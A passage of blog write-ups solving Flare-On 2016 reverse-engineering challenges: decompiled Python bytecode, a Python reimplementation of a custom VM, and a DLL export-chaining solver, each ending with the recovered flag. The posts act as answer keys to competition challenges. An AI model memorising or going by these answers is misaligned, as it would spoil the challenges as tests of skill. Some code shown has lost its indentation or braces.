552 COMPARE_OP '!='
557 POP_JUMP_IF_FALSE '590'
560 LOAD_NAME 'sys'
565 LOAD_ATTR 'exit'
568 LOAD_CONST ''
571 CALL_FUNCTION_1 ''
576 POP_TOP ''
587 JUMP_FORWARD '590'
590_0 COME_FROM '587'
590 LOAD_CONST 67
593 LOAD_CONST 139
598 LOAD_CONST 119
602 LOAD_CONST 165
608 LOAD_CONST 232
611 LOAD_CONST 86
614 LOAD_CONST 207
618 LOAD_CONST 61
624 LOAD_CONST 79
628 LOAD_CONST 67
631 LOAD_CONST 45
637 LOAD_CONST 58
640 LOAD_CONST 230
647 LOAD_CONST 190
650 LOAD_CONST 181
654 LOAD_CONST 74
657 LOAD_CONST 65
660 LOAD_CONST 148
663 LOAD_CONST 71
669 LOAD_CONST 243
676 LOAD_CONST 246
683 LOAD_CONST 67
686 LOAD_CONST 142
690 LOAD_CONST 60
693 LOAD_CONST 61
702 LOAD_CONST 92
711 LOAD_CONST 58
722 LOAD_CONST 115
725 LOAD_CONST 240
728 LOAD_CONST 226
733 LOAD_CONST 171
738 BUILD_LIST_31 ''
741 STORE_NAME 'stuffs'
750 IMPORT_NAME 'hashlib'
753 STORE_NAME 'hashlib'
756 LOAD_NAME 'hashlib'
762 LOAD_ATTR 'md5'
765 LOAD_NAME 'win_msg'
768 LOAD_NAME 'tmp'
771 BINARY_ADD ''
772 CALL_FUNCTION_1 ''
779 LOAD_ATTR 'digest'
782 CALL_FUNCTION_0 ''
785 STORE_NAME 'stuffer'
788 SETUP_LOOP '890'
791 LOAD_NAME 'range'
794 LOAD_NAME 'len'
797 LOAD_NAME 'stuffs'
800 CALL_FUNCTION_1 ''
803 CALL_FUNCTION_1 ''
808 GET_ITER ''
809 FOR_ITER '889'
816 STORE_NAME 'x'
819 LOAD_NAME 'chr'
822 LOAD_NAME 'stuffs'
829 LOAD_NAME 'x'
832 BINARY_SUBSCR ''
837 LOAD_NAME 'ord'
840 LOAD_NAME 'stuffer'
843 LOAD_NAME 'x'
847 LOAD_NAME 'len'
850 LOAD_NAME 'stuffer'
853 CALL_FUNCTION_1 ''
856 BINARY_MODULO ''
861 BINARY_SUBSCR ''
866 CALL_FUNCTION_1 ''
876 BINARY_XOR ''
878 CALL_FUNCTION_1 ''
885 PRINT_ITEM ''
886 JUMP_BACK '809'
889 POP_BLOCK ''
890_0 COME_FROM '788'
890 PRINT_NEWLINE ''
893 JUMP_FORWARD '896'
896_0 COME_FROM '893'
896 LOAD_CONST ''
899 RETURN_VALUE ''
</pre>
</br>
Filtering the unnecessary parts, we get the following desired control flow:
<ol>
<li><b style="color:#cccccc;">Line 313 -</b> <span style="color: #999999;"> Set <b>win_msg</b> to 'Wahoo, you guessed it with %d guesses\n'</span>
<ul>
<li style="color: #999999;">where %d is a number between 1 and 26 (Lines 396 - 419)</li>
</ul>
<li><b style="color:#cccccc;">Lines 536 - 552 -</b> <span style="color: #999999;"> <b>tmp</b> has to be equal to '312a232f272e27313162322e372548'</span>
<li><b style="color:#cccccc;">Lines 590 - 741 -</b> <span style="color: #999999;"> Set <b>stuffs</b> to [67, 139, ..., 226, 171]</span>
<li><b style="color:#cccccc;">Lines 750 - 785 -</b> <span style="color: #999999;"> Set <b>stuffer</b> to the MD5 of <b>win_msg</b> + <b>tmp</b></span>
<li><b style="color:#cccccc;">Lines 788 - 890 -</b> <span style="color: #999999;"> XOR <b>stuffs</b> with <b>stuffer</b> as the key, and print each value</span>
</ol>
</br>
The only unknown variable is <b>%d</b> and can be easily brute-forced. Let's convert the above points into code which iterates over all possible values:
</br></br>
<pre class="brush:python;">
import hashlib
import sys
stuffs = [67, 139, 119, 165, 232, 86, 207, 61, 79, 67, 45, 58, 230, 190, 181, 74, 65, 148, 71, 243, 246, 67, 142, 60, 61, 92, 58, 115, 240, 226, 171]
tmp = "312a232f272e27313162322e372548"
for y in range (26):
win_msg = "Wahoo, you guessed it with " + str(y) + " guesses\n"
bin_add = win_msg + tmp
stuffer = hashlib.md5(bin_add).digest()
for x in range(len(stuffs)):
sys.stdout.write((chr(stuffs[x] ^ ord(stuffer[x % len(stuffer)]))))
print '\r'
</pre>
</br>
Running the program:
</br></br>
<div class="console-top">root@kali: ~/Desktop</div>
<div class="console" style="background: #000;">
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b># python solution.py
[ .. snip .. ]
1mp0rt3d_pygu3ss3r@flare-on.com
[ .. snip .. ]
<b style="color:#ef2929;">root@kali</b>:<b style="color:#729fcf;">~/Desktop</b>#
</div>
</br></br>
</span>
</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-8636811011374152552016-11-04T19:41:00.002-07:002016-11-04T19:41:51.583-07:00CTF Writeup - Flare-On 2016 - 05: smokestack<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> smokestack</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 5</span>
<li><b style="color:#cccccc;">Description -</b> <span style="color: #999999;"> n/a</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/raw/master/Flare-On2016/smokestack.exe"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br></br>
Supplying the binary with random arguments doesn't yield us much so let's see what it binary does and if it accepts an argument, what the restrictions are. The 1st validation is pretty
obvious:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqnPrsPq0748HPp1AZpucV9Gd00XBb-WmJptkrSmUtGgxZHfNwhcbe0Cw_MlcTXzXWtBGjfvmtSC2KjrxeRl9IzAqKVFep_rzkSBlmFiQnuNyIY1hmus1rIrOnAknw58z1iu_0IVkcG75y/s1600/validation.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqnPrsPq0748HPp1AZpucV9Gd00XBb-WmJptkrSmUtGgxZHfNwhcbe0Cw_MlcTXzXWtBGjfvmtSC2KjrxeRl9IzAqKVFep_rzkSBlmFiQnuNyIY1hmus1rIrOnAknw58z1iu_0IVkcG75y/s400/validation.bmp"/></a></div>
</br>
Our input has to be 10 chars long, at least (later in the program extra chars are disregarded so essentially len(argv) has to be 10). The binary then continues by adding a couple of bytes to the string, perform MD5 0x100000 times on the result and then uses this to RC4 decrypt a blob in memory. But we're really not interested in this part. The magic happens at function sub_401610().
</br></br>
This part of the program is really complicated and looks like some sort of a VM. It starts by initializing a function table (__cfltcvt_init) and a few global variables and then loops 386 times, each time calling one of the functions in the table:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi2wdMj7REk8r8vodSqja3SIkpev2Sb3hDRR3eq8wFaQsnam0sKVJ0nZ48djsqb_B1VAIDkgPBtqatgbXH27wFow5BdFV0LzWT7YDOc85gbEKt7cw5EyhY268lE8mvLgNcCfB9zNIeq_Uz/s1600/VM.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi2wdMj7REk8r8vodSqja3SIkpev2Sb3hDRR3eq8wFaQsnam0sKVJ0nZ48djsqb_B1VAIDkgPBtqatgbXH27wFow5BdFV0LzWT7YDOc85gbEKt7cw5EyhY268lE8mvLgNcCfB9zNIeq_Uz/s500/VM.bmp" /></a></div>
</br>
Each of the functions increments <b>word_40DF1E</b>, which acts like a pointer to our next instruction/data, which is held in <b>word_40A140</b>. Analysing a bit further we notice that one of the functions, <b>sub_401000</b> writes bytes to our array containing the input string whilst <b>sub_401080</b> reads from it.
</br></br>
Out of all the functions, <b>sub_401300</b> is the only one that does a comparison of 2 bytes and as we'll see, it's the function that will confirm or deny if a character of our input is right or wrong:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicd8TsZHLdG3O4nNXGZsr65wKbdQxaafYrNuDBhdAQ9Lp_CJl3N2pWt0j4_reUEp-uiELnF5b4wJcUNxe_Irc1RiHbyUxmyuhfB-Q10fyI1iSufIQdFXVpaCIBihSJb99G-Mqtd6qA9SC9/s1600/comparison+function.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicd8TsZHLdG3O4nNXGZsr65wKbdQxaafYrNuDBhdAQ9Lp_CJl3N2pWt0j4_reUEp-uiELnF5b4wJcUNxe_Irc1RiHbyUxmyuhfB-Q10fyI1iSufIQdFXVpaCIBihSJb99G-Mqtd6qA9SC9/s640/comparison+function.bmp" width="601" height="640" /></a></div>
</br>
It starts by calling <b>sub_401080</b> twice, which reads 2 bytes off our input string, compares them, calls <b>sub_401000</b>, which writes to our input array, with a <b>1</b> if the are equal and a <b>0</b> if they aren't, and increments <b>word_40DF1E</b>. Essentially this is equal to the <b>CMP</b> instruction in a stack-based VM; <b>POP</b> 2 values off the stack, compare them, <b>PUSH</b> result.
</br></br>
So all we have to do is monitor this function and we're done? Well, yes and no. Yes, because this will be the most important function and no because sometimes we don't need to monitor it; the <b>CMP</b> instruction is not only called to compare 2 bytes directly related to our input, it is used when performing loops too. The latter scenario is easily distinguished though. If the result of the first call to <b>sub_401080</b> is 0, then the VM is in a loop (in fact you can see the 2nd value obtained from <b>sub_401080</b> decreasing with each iteration) whereas if it isn't, the 2 values are related to our input.
</br></br>
So what we can do is, we can reprogram the entire VM in python and add a few lines of code to function <b>sub_401080</b> that will inform us when a comparison is successful or not. We loop this over all printable characters to obtain the first, which is the last in this case since it starts from the end, character of our input. Found below is the massive python script to solve the first char of the input:
</br></br>
<pre class="brush:python;">
import sys
import string
dword_40DEE0 = ["sub_401030", "sub_4010C0", "sub_4010E0", "sub_401130", "sub_401180", "sub_4011F0", "sub_401260", "sub_4012B0", "sub_401300", "sub_401360", "sub_4013C0", "sub_4013D0", "sub_401480", "sub_401520"]
word_40A140 = [0x00,0x00,0x21,0x00,0x02,0x00,0x00,0x00,0x91,0x00,0x08,0x00,0x00,0x00,0x16,0x00,0x00,0x00,0x0C,0x00,0x09,0x00,0x0A,0x00,0x0B,0x00,0x00,0x00,0x00,0x00,0x0C,0x00,0x02,0x00,0x0C,0x00,0x00,0x00,0x00,0x00,0x1D,0x00,0x0A,0x00,0x0B,0x00,0x00,0x00,0x00,0x00,0x63,0x00,0x02,0x00,0x0C,0x00,0x00,0x00,0x00,0x00,0x18,0x00,0x06,0x00,0x00,0x00,0x54,0x00,0x08,0x00,0x00,0x00,0x33,0x00,0x00,0x00,0x29,0x00,0x09,0x00,0x0A,0x00,0x0B,0x00,0x00,0x00,0x00,0x00,0x2C,0x00,0x02,0x00,0x0C,0x00,0x00,0x00,0x00,0x00,0x3D,0x00,0x0A,0x00,0x00,0x00,0x0E,0x00,0x01,0x00,0x0B,0x00,0x00,0x00,0x00,0x00,0x59,0x00,0x02,0x00,0x0C,0x00,0x00,0x00,0x0B,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0C,0x00,0x01,0x00,0x00,0x00,0x09,0x00,0x0C,0x00,0x00,0x00,0x0B,0x00,0x01,0x00,0x00,0x00,0x02,0x00,0x02,0x00,0x0C,0x00,0x01,0x00,0x0B,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x0C,0x00,0x00,0x00,0x0B,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x47,0x00,0x00,0x00,0x60,0x00,0x09,0x00,0x0A,0x00,0x0C,0x00,0x00,0x00,0x0B,0x00,0x01,0x00,0x03,0x00,0x00,0x00,0x5D,0x00,0x08,0x00,0x00,0x00,0x7C,0x00,0x00,0x00,0x6E,0x00,0x09,0x00,0x0A,0x00,0x0B,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x03,0x00,0x0C,0x00,0x00,0x00,0x00,0x00,0x5B,0x00,0x0C,0x00,0x01,0x00,0x00,0x00,0x87,0x00,0x0A,0x00,0x00,0x00,0x36,0x00,0x0C,0x00,0x01,0x00,0x0B,0x00,0x00,0x00,0x0B,0x00,0x01,0x00,0x02,0x00,0x0C,0x00,0x01,0x00,0x0B,0x00,0x01,0x00,0x00,0x00,0x58,0x00,0x02,0x00,0x06,0x00,0x00,0x00,0xF9,0x00,0x08,0x00,0x00,0x00,0xA0,0x00,0x00,0x00,0x96,0x00,0x09,0x00,0x0A,0x00,0x0B,0x00,0x00,0x00,0x00,0x00,0x4D,0x00,0x06,0x00,0x0C,0x00,0x00,0x00,0x00,0x00,0xAE,0x00,0x0A,0x00,0x00,0x00,0x23,0x03,0x00,0x00,0x2B,0x01,0x03,0x00,0x0C,0x00,0x01,0x00,0x0B,0x00,0x00,0x00,0x0B,0x00,0x01,0x00,0x02,0x00,0x0C,0x00,0x01,0x00,0x0C,0x00,0x01,0x00,0x0B,0x00,0x01,0x00,0x0B,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x0C,0x00,0x01,0x00,0x00,0x00,0x03,0x00,0x02,0x00,0x0B,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0xB2,0x00,0x00,0x00,0xC7,0x00,0x09,0x00,0x0A,0x00,0x07,0x00,0x00,0x00,0x77,0xFE,0x08,0x00,0x00,0x00,0xD8,0x00,0x00,0x00,0xD1,0x00,0x09,0x00,0x0A,0x00,0x0B,0x00,0x00,0x00,0x00,0x00,0x58,0x00,0x02,0x00,0x0C,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x04,0x00,0x00,0x00,0x8C,0x00,0x02,0x00,0x00,0x00,0x94,0x60,0x08,0x00,0x00,0x00,0xEE,0x00,0x00,0x00,0xE7,0x00,0x09,0x00,0x0A,0x00,0x0B,0x00,0x00,0x00,0x00,0x00,0xE7,0x00,0x02,0x00,0x0C,0x00,0x00,0x00,0x0B,0x00,0x01,0x00,0x02,0x00,0x00,0x00,0x0C,0x00,0x06,0x00,0x00,0x00,0x74,0x00,0x08,0x00,0x00,0x00,0x07,0x01,0x00,0x00,0xFD,0x00,0x09,0x00,0x0A,0x00,0x0B,0x00,0x00,0x00,0x00,0x00,0x09,0x00,0x03,0x00,0x0C,0x00,0x00,0x00,0x00,0x00,0x1D,0x01,0x0A,0x00,0x00,0x00,0x0A,0x00,0x0C,0x00,0x01,0x00,0x0B,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x0C,0x00,0x01,0x00,0x0B,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x0B,0x01,0x00,0x00,0x1D,0x01,0x09,0x00,0x0A,0x00,0x00,0x00,0x06,0x00,0x05,0x00,0x00,0x00,0xC0,0x1D,0x08,0x00,0x00,0x00,0x33,0x01,0x00,0x00,0x29,0x01,0x09,0x00,0x0A,0x00,0x0B,0x00,0x00,0x00,0x00,0x00,0x71,0x00,0x02,0x00,0x0C,0x00,0x00,0x00,0x00,0x00,0x3D,0x01,0x0A,0x00,0x0B,0x00,0x00,0x00,0x00,0x00,0x77,0x00,0x02,0x00,0x0C,0x00,0x00,0x00,0x00,0x00,0x3D,0x01,0x0A,0x00,0x00,0x00,0x16,0x00,0x02,0x00,0x00,0x00,0x0E,0x00,0x03,0x00,0x00,0x00,0x61,0x00,0x08,0x00,0x00,0x00,0x53,0x01,0x00,0x00,0x4C,0x01,0x09,0x00,0x0A,0x00,0x0B,0x00,0x00,0x00,0x00,0x00,0x2C,0x00,0x03,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x01,0x00,0x0B,0x00,0x01,0x00,0x00,0x00,0x2C,0x21,0x0B,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x03,0x00,0x0B,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x59,0x01,0x00,0x00,0x6E,0x01,0x09,0x00,0x0A,0x00,0x00,0x00,0xCA,0x01,0x06,0x00,0x00,0x00,0xF5,0x1F,0x08,0x00,0x00,0x00,0x81,0x01,0x00,0x00,0x7A,0x01,0x09,0x00,0x0A,0x00,0x0B,0x00,0x00,0x00,0x00,0x00,0x12,0x00,0x02,0x00,0x0C,0x00,0x00,0x00,0x0D,0x00]
word_40DF18 = 0
word_40DF1A = 0
word_40DF1C = 9
word_40DF1E = 0
word_40DF20 = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
failure = False
checking_for_char = 1
checking_for_char_currently = 0
def sub_401000(input):
global word_40DF1C
global word_40DF20
word_40DF1C = word_40DF1C + 1
input1 = (input & 0xFF00) >> 8
input2 = input & 0xFF
word_40DF20[word_40DF1C * 2] = input2
word_40DF20[(word_40DF1C * 2) + 1] = input1
def sub_401030():
global word_40DF1E
word_40DF1E = word_40DF1E + 1
result1 = word_40A140[word_40DF1E * 2]
result2 = word_40A140[(word_40DF1E * 2) + 1]
result = (result2 << 8) | result1
sub_401000(result)
word_40DF1E = word_40DF1E + 1
def sub_4010C0():
global word_40DF1E
word_40DF1E = word_40DF1E + 1
sub_401080()
def sub_401080():
global word_40DF1C
result1 = word_40DF20[word_40DF1C * 2]
result2 = word_40DF20[(word_40DF1C * 2) + 1]
result = (result2 << 8) | result1
word_40DF1C = word_40DF1C - 1
return result
def sub_4010E0():
global word_40DF1E
result1 = sub_401080()
result2 = sub_401080()
result3 = result1 + result2
sub_401000(result3)
word_40DF1E = word_40DF1E + 1
def sub_401130():
global word_40DF1E
result1 = sub_401080()
result2 = sub_401080()
result3 = result2 - result1
sub_401000(result3)
word_40DF1E = word_40DF1E + 1
def sub_401180():
global word_40DF1E
result1 = sub_401080()
result2 = sub_401080()
result3 = ((result2 << (16 - result1)) | (result2 >> result1)) & 0xFFFF
sub_401000(result3)
word_40DF1E = word_40DF1E + 1
def sub_4011F0():
global word_40DF1E
result1 = sub_401080()
result2 = sub_401080()
result3 = ((result2 >> (16 - result1)) | (result2 << result1)) & 0xFFFF
sub_401000(result3)
word_40DF1E = word_40DF1E + 1
def sub_401260():
global word_40DF1E
result1 = sub_401080()
result2 = sub_401080()
result3 = result1 ^ result2
sub_401000(result3)
word_40DF1E = word_40DF1E + 1
def sub_4012B0():
global word_40DF1E
result1 = sub_401080()
result2 = ~result1 & 0xFFFF
sub_401000(result2)
word_40DF1E = word_40DF1E + 1
def sub_401300():
global word_40DF1E
global failure
global checking_for_char_currently
result1 = sub_401080()
result2 = sub_401080()
if result1 == result2:
sub_401000(1)
else:
sub_401000(0)
if (result1 != 0):
if result1 == result2:
checking_for_char_currently = checking_for_char_currently + 1
else:
failure = True
word_40DF1E = word_40DF1E + 1
def sub_401360():
global word_40DF1E
result1 = sub_401080()
result2 = sub_401080()
result3 = sub_401080()
if result3 == 1:
sub_401000(result1)
else:
sub_401000(result2)
word_40DF1E = word_40DF1E + 1
def sub_4013C0():
global word_40DF1E
result = sub_401080()
word_40DF1E = result
def sub_4013D0():
global word_40DF1E
global word_40DF18
global word_40DF1A
global word_40DF1C
temp = 0
word_40DF1E = word_40DF1E + 1
result = word_40A140[word_40DF1E * 2]
if result == 0:
temp = word_40DF18
elif result == 1:
temp = word_40DF1A
elif result == 2:
temp = word_40DF1C
elif result == 3:
temp = word_40DF1E
sub_401000(temp)
word_40DF1E = word_40DF1E + 1
def sub_401480():
global word_40DF1E
global word_40DF18
global word_40DF1A
global word_40DF1C
word_40DF1E = word_40DF1E + 1
result = word_40A140[word_40DF1E * 2]
result1 = sub_401080()
if result == 0:
word_40DF18 = result1
elif result == 1:
word_40DF1A = result1
elif result == 2:
word_40DF1C = result1
elif result == 3:
word_40DF1E = result1
word_40DF1E = word_40DF1E + 1
def sub_401520():
global word_40DF1E
word_40DF1E = word_40DF1E + 1
def call_function(index):
result = getattr(sys.modules[__name__], dword_40DEE0[word_40A140[index]])()
return result
if __name__ == "__main__":
for x in string.printable:
#initialize global variables
failure = False
word_40DF20 = [0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, ord(x),0, 0,0, 0,0]
word_40DF18 = 0
word_40DF1A = 0
word_40DF1C = 9
word_40DF1E = 0
#perform algorithm
while word_40DF1E < 386:
call_function(word_40DF1E * 2)
if failure == True:
break
if checking_for_char_currently < checking_for_char:
checking_for_char_currently = 0
else:
print "Character is", x
break
</pre>
</br>
The functions are a direct python implementation of the ones found in the VM. The main function loops over all printable characters to find the 10th character of our input string. As mentioned earlier, our input is copied into a global variable of Words, and hence for each character there are 0's (lines 12 and 196). An extra 2 Words were intialised at the end as they're required by the program as work space. The program then executes the VM and if the <b>failure</b> variable is set to <b>True</b>, we break.
</br></br>
Lines 119 - 123 have been added and are not part of the original VM. The purpose of these is to inform us if the 2 values popped from the stack are equal. If they are then we have successfully bruteforced a single character of our input, and we don't need to look further.
</br></br>
Lines 208 - 212 ensure that if we have the same number of successes as the number of char we're bruteforcing, then we have found the right input char. This is necessary as the <b>sub_401300</b> records a success pass for each of the right inputs. For example, if we're bruteforcing the 3rd char and we get 2 success passes, it does not mean that we found the right char; it only confirms that the other 2 chars we've given it are right, which we would've already known from the previous 2 bruteforce attempts. If we're bruteforcing the 3rd char, we require 3 successes.
</br></br>
Running the program we get:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>python vm_implementation.py
Character is p
C:\>
</div>
</br>
We then modify the program to get the second character. These are the modifications required:
</br></br>
<pre class="brush:python;">
[ .. snip .. ]
checking_for_char = 2
[ .. snip .. ]
word_40DF20 = [0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, ord(x),0, ord('p'),0, 0,0, 0,0]
[ .. snip .. ]
</pre>
</br>
We discover that the 2nd to last char is '<b>L</b>'. We keep on going until we get to the last character:
<pre class="brush:python;">
[ .. snip .. ]
checking_for_char = 10
[ .. snip .. ]
word_40DF20 = [ord(x),0, ord('Y'),0, ord('w'),0, ord('x'),0, ord('C'),0, ord('b'),0, ord('J'),0, ord('o'),0, ord('L'),0, ord('p'),0, 0,0, 0,0]
[ .. snip .. ]
</pre>
</br>
At the end we get:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>smokestack.exe kYwxCbJoLp
A_p0p_pu$H_&_a_Jmp@flare-on.com
C:\>
</div>
</br>
</span>
</div>
GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-91588150175991901402016-11-04T19:35:00.000-07:002016-11-04T19:35:25.412-07:00CTF Writeup - Flare-On 2016 - 04: flareon2016challenge<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> flareon2016challenge</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 4</span>
<li><b style="color:#cccccc;">Description -</b> <span style="color: #999999;"> n/a</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/raw/master/Flare-On2016/flareon2016challenge.dll"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br>
The binary for this challenge is a dll and hence we have to do some static analysis before we decide what to do next. The library exports functions flareon2016challenge_1() all the way up to flareon2016challenge_51(). Most of them perform actions on <b>byte_10007014</b> buffer and return a value. For example flareon2016challenge_7() looks like this:
</br></br>
<pre class="brush:cpp;">
signed int flareon2016challenge_7()
{
byte_10007014[dword_10007010-- % 0x10u] -= 79;
return 16;
}
</pre>
</br>
And flareon2016challenge_47() looks like this:
</br></br>
<pre class="brush:cpp;">
signed int flareon2016challenge_47()
{
char v0; // cl@1
v0 = __ROL1__(byte_10007014[dword_10007010 % 0x10u], 4);
byte_10007014[dword_10007010-- % 0x10u] = v0;
return 20;
}
</pre>
</br>
If we chain the return values we get the following: 30 -> 15 -> 42 -> 18 -> ... -> 35 -> 1 -> 51. The only 2 exported functions which are not part of this chain are flareon2016challenge_49() and flareon2016challenge50(). These will come into play later. Lets see what happens when we call the functions in the chain using the C program below:
</br></br>
<pre class="brush:cpp;">
int main(int argc, char* argv[])
{
FARPROC func;
HINSTANCE dllHandle = LoadLibraryA("flareon2016challenge.dll");
if (dllHandle == NULL)
return 0;
// Start from function 30
int next_func = 30;
// Go through chain of functions
while (1)
{
printf("Calling function %d\r\n", next_func);
func = GetProcAddress(dllHandle, next_func);
next_func = func();
if (next_func == 51)
{
printf("Calling function %d\r\n", next_func);
func = GetProcAddress(dllHandle, next_func);
func();
break;
}
printf("Press Any Key to Continue\n");
getchar();
return 0;
}
</pre>
</br>
The first thing we notice is the following:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCnnifXdZfPqkcUZM4n2vIntaV8uw7po3al30tTlH08zquBzJak-WXylhYLHRl06PemCIQO20SAfEg1-icwyu7vyIAVkFimMr0AwTNiqUEqTuGWNZFO8-eAin2yfMB5ax5oe9wOZGLojs6/s1600/force.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCnnifXdZfPqkcUZM4n2vIntaV8uw7po3al30tTlH08zquBzJak-WXylhYLHRl06PemCIQO20SAfEg1-icwyu7vyIAVkFimMr0AwTNiqUEqTuGWNZFO8-eAin2yfMB5ax5oe9wOZGLojs6/s600/force.bmp"/></a></div>
</br>
The most important thing though happens in the function which is called at the end, namely flareon2016challenge_51():
</br></br>
<pre class="brush:cpp;">
int flareon2016challenge_51()
{
char v1; // [sp+0h] [bp-90h]@1
sub_10001530(16);
sub_10001000((int)&v1, (int)&unk_10007060, (int)&unk_10007060, 6672);
return printf(aPlayMeASongHav);
}
</pre>
</br>
Each of the functions listed above operate on a buffer which, after our program ends, looks like this in memory:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8I-gR1jbu6uUUHOe1-Aoi_s8FFGzgddYVPcSAWeOGS9kfspooMfbORZuM9GmkOplf_rrzT9McXoRFn449EvaCx9YX5ufGyaAYSrzfP9XsT_a3j0EFGn7fXkwOweNPDn8dor-CdSoETbWv/s1600/hidden_MZ.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8I-gR1jbu6uUUHOe1-Aoi_s8FFGzgddYVPcSAWeOGS9kfspooMfbORZuM9GmkOplf_rrzT9McXoRFn449EvaCx9YX5ufGyaAYSrzfP9XsT_a3j0EFGn7fXkwOweNPDn8dor-CdSoETbWv/s640/hidden_MZ.bmp"/></a></div>
</br>
Copy the bytes into a hex editor, construct the PE file locally and open it in IDA. The main function only has the following:
</br></br>
<pre class="brush:cpp;">
int __cdecl main(int argc, const char **argv, const char **envp)
{
Beep(0x1B8u, 0x1F4u);
Beep(0x1B8u, 0x1F4u);
Beep(0x1B8u, 0x1F4u);
Beep(0x15Du, 0x15Eu);
Beep(0x20Bu, 0x96u);
Beep(0x1B8u, 0x1F4u);
Beep(0x15Du, 0x15Eu);
Beep(0x20Bu, 0x96u);
Beep(0x1B8u, 0x3E8u);
Beep(0x293u, 0x1F4u);
Beep(0x293u, 0x1F4u);
Beep(0x293u, 0x1F4u);
Beep(0x2BAu, 0x15Eu);
Beep(0x20Bu, 0x96u);
Beep(0x19Fu, 0x1F4u);
Beep(0x15Du, 0x15Eu);
Beep(0x20Bu, 0x96u);
Beep(0x1B8u, 0x3E8u);
return 0;
}
</pre>
</br>
Running the binary plays Darth Vader's theme. Interesting!
</br></br>
Let's look at flareon2016challenge_50():
</br></br>
<pre class="brush:cpp;">
int __cdecl flareon2016challenge_50(DWORD dwFreq, DWORD dwDuration)
{
int result; // eax@1
Beep(dwFreq, dwDuration);
byte_10007028[dword_10008DD4] -= dwFreq;
byte_10007028[dword_10008DD4] ^= dwDuration;
result = dword_10008DD4++ + 1;
if ( dword_10008DD4 == 18 )
result = flareon2016challenge_49();
return result;
}
</pre>
</br>
The function accepts 2 variables: <b>dwFreq</b> and <b>dwDuration</b>, just like the Beep() function in the extracted PE. Let's feed these into this function using the following program:
</br></br>
<pre class="brush:cpp;">
int main(int argc, char* argv[])
{
FARPROC func;
HINSTANCE dllHandle = LoadLibraryA("flareon2016challenge.dll");
if (dllHandle == NULL)
return 0;
// call flareon2016challenge_50 18 times for Darth Vader song
func = GetProcAddress(dllHandle, 50);
func(440, 500);
func(440, 500);
func(440, 500);
func(349, 350);
func(523, 150);
func(440, 500);
func(349, 350);
func(523, 150);
func(440, 1000);
func(659, 500);
func(659, 500);
func(659, 500);
func(698, 350);
func(523, 150);
func(415, 500);
func(349, 350);
func(523, 150);
func(440, 1000);
printf("Press Any Key to Continue\n");
getchar();
return 0;
}
</pre>
</br>
After Darth Vader's theme we get:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>solver.exe
f0ll0w_t3h_3xp0rts@flare-on.com
Press Any Key to Continue
_
</div>
</br>
</span>
